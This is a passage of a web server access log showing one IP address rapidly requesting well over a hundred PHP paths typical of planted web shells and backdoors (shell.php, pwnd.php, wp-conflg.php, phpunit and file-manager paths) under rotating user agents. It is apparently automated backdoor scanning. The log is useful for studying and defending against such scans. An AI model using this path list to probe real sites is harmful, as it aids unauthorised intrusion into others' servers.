/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:27 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:27 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:27 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:28 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:28 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:28 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:28 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:29 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:43:29 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:29 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:29 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:43:29 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:30 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:30 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:30 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:30 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:30 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:31 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:31 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:31 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:31 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:43:32 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:32 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:32 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:43:32 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:43:32 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:33 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:33 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:33 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:33 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:33 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:34 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:34 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:34 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:34 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:34 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:35 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:35 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:43:35 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:35 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:35 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:36 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:36 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:36 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:43:36 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:36 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:43:37 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:37 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:37 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:37 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:37 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:38 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:38 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:43:38 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:38 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:39 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:39 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:39 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:39 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:43:39 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:43:40 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:40 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:40 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:40 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:41 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:41 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:41 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:41 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:43:41 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:42 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:42 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:42 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:42 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:42 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:43:43 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:43 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:43 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:43 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:44 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:44 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:44 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:44 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:44 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:45 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:45 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:45 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:45 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:45 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:43:46 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:43:46 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:46 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:46 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:46 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:47 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:47 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:47 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:43:47 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:47 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:43:48 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:48 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:48 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:48 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:48 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:49 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:49 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:49 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:49 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:49 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:50 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:43:50 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:50 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:50 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:51 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:51 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 